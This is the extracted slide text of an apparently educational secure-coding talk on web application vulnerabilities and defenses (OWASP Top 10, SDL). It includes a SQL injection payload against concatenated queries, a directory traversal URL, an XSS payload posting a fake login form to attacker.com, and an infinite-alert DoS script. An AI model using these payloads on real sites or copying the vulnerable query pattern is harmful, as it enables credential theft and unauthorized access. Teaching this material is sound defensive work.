• Like
Do You Write Secure Code? by Erez Metula
Upcoming SlideShare
Loading in...5

Thanks for flagging this SlideShare!

Oops! An error has occurred.

Do You Write Secure Code? by Erez Metula


Erez Metula at the alphageeks #4 meetup speaks about secure coding, common threats and how to address them. …

Erez Metula at the alphageeks #4 meetup speaks about secure coding, common threats and how to address them.

Check us out at:

Published in Technology
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
    Be the first to like this
No Downloads


Total Views
On SlideShare
From Embeds
Number of Embeds



Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

    No notes for slide


  • 1. Do you write secure code? Erez Metula, CISSP Application Security Consultant & Trainer ErezMetula@gmail.com Agenda • What is application security • What are application level vulnerabilities • Demos • Security procedures • How to improve the development lifecycle
  • 2. Growing concern What is Application Security? • It is not about network Security !!! • It’s not about Firewalls, Intrusion Detection Systems, It’ Operating System Hardening, Database Hardening, etc. • Network Security Mostly Ignores the Contents of HTTP Traffic • Common myth – “We have a firewall !“ !“ • It is about: • Securing the code that drives a web application • Securing backend systems – web server, DB, etc.. • Securing the users !!!
  • 3. Application Security Is A Different World • Network Security • Application Security • Part of IT • Part of Business Units • Networking Experts • Software Experts • Product Focused • Custom Code Focused • 1000’s of Copies • 1 Copy of Software • Signature Based • No Signatures • Patch Management • Prevent Vulnerabilities We can’t rely on network security techniques to gain application security Application security layer
  • 4. OWASP Top 10 (2010) DEMO – SQL Injection Developer concate SQL statements string sql = "select * from Users where user ='" + User.Text + "' and pwd='" + Password.Text + "'" pwd='" Hacker types: ‘ or 1=1 -- string sql = "select * from Users where a user =' ' or 1=1 --' and pwd=''" --' pwd=''" Result - the first database entry (might be the Admin!) http://www.victim.com/HacmeBank_v2_Website/aspx/Login.aspx
  • 5. A little bit of humor.. DEMO – Directory traversal • The following demo shows an innocent looking page, letting the user to download a requested file from the base dir. • Legitimate use: • http://www.victim.com/SendPdf/WebForm1.aspx?file=somefile.pdf • But the user can get out of the base directory.. • http://www.victim.com/SendPdf/WebForm1.aspx? file=../../progs/secret/SecretFile.pdf
  • 6. DEMO - Cross-Site Scripting (XSS) • Web browsers execute code sent from websites • HTML • Javascript • Flash, etc. • send malicious code to other users • the attacker is using the website to forward an attack! http://www.victim.com/xss/xss.asp?username=david http://www.victim.com/xss/xss.asp?username= http://www.victim.com/xss/xss.asp?username=<br>please login:<form http://www.victim.com/xss/xss.asp?username=<br>please action="http://www.attacker.com" name=a action="http://www.attacker.com" method="post">username:<br><input type=text method="post">username:<br><input name=b><br>password:<br><input type=password name=b><br>password:<br><input name=c><br><input class=w type=submit value="login"></form> name=c><br><input Demo – Denial of Service using XSS • Prevent legitimate users from using the hacmebank site (while true injection) <script>while(true){alert("service unavailable");}</script> <script>while(true){alert("service • Such a short line can cause so much damage..!!! • Other possibilities • Delete a specific user (competent?) • Change password for a specific user • Delete all the tables/database… tables/database… • Format the server HD
  • 7. Business logic attacks • Flaws that allow a user to do something that isn't allowed by the business. • Cannot be detected by a vulnerability scanner • One of the hardest to detect • Specific to the application being tested. • Some examples • Negative amount of money • Skipping security checks • Performing operations in different order • DEMO • Withdraw becomes a deposit • Casino Cross Site Request Forgery (CSRF) • Another client side attack • Resembles XSS, but quite different • The victim’s browser is tricked into issuing a command to a vulnerable web application • The browser outgoing request automatically include user’s data (session id, authentication tickets, ip address, etc.) • Impact • Perform transactions on behalf of the user • Access private networks • Access sensitive data • Modify user’s data
  • 8. CSRF Illustrated Attacker sets the trap on some website on the internet 1 (or simply via an e-mail) Application with CSRF Hidden <img> tag vulnerability contains attack against vulnerable site Communication Administration Bus. Functions E-Commerce Transactions Knowledge Accounts Finance Mgmt While logged into vulnerable site, 2 victim views attacker site Custom Code 3 Vulnerable site sees <img> tag loaded by legitimate request from browser – sends GET victim and performs the request (including action requested credentials) to vulnerable site CSRF via phishing e-mail Unusual activity.msg
  • 9. CSRF via malicious web site • You visit a malicious web site • The web site instructs your browser to submit a request to some CSRF vulnerable page on the victim application • Your browser perform the operation • IE7 / Mozilla – at least an open tab • IE6 – from the same window • Example: • http://www.attacker.com/csrf/InnocentSite.asp http://www. attacker. com/ csrf/ InnocentSite. What to do? • In order to avoid application level threats, we usually perform • Penetration testing • Code review • Threat modeling • SDL – Secure Development Lifecycle
  • 10. Penetration Testing • Testing the security of systems and architectures from a hacker’s point of view hacker’ • Blackbox approach - A “simulated attack” attack” • Identifying weaknesses in already deployed targets, for example, platform tests include: • Information disclosure • Escalation of privileges to valid users • Denial of service • Unauthorized access • Penetration testing is usually done when development completes Problem - Cost of change
  • 11. Code review • Security Code review is a process to improve software security by reviewing it “from the inside” inside” • Whitebox approach • This process should be performed by the developer and by a 3rd party security personnel • The main objective is to • Detect vulnerabilities in code • Identify bad application level configuration • Detect backdoors The Threat Modeling Threat Modeling Process 1 Identify Assets 2 Create an Architecture Overview 3 Decompose the Application 4 Identify the Threats 5 Document the Threats 6 Rate the Threats
  • 12. We need secure development methodologies • Current development methodologies lack security procedures • Security should be performed from the initial project stages • Security should be embedded into the development lifecycle • SDL – Secure Development Lifecycle SDL “Integrate” Security within Application Life Cycle Security Threat Modeling Code Penetration Secure Requirements / Secure Design Review Testing Deployment Requirements Design Code Test Deploy Use Cases
  • 13. Don’t rely on only one countermeasure …. Summary • Application security is different from other security layers • Traditional security products (firewall, antivirus, IPS, SSL, etc.) does not help to mitigate application threats. • You should perform application security by doing • Code review • Application penetration test • Design review • Integrate security into the development cycle • Example – SDL (secure Development Lifecyce) Lifecyce)
  • 14. Questions ? Thank you ! ErezMetula@gmail.com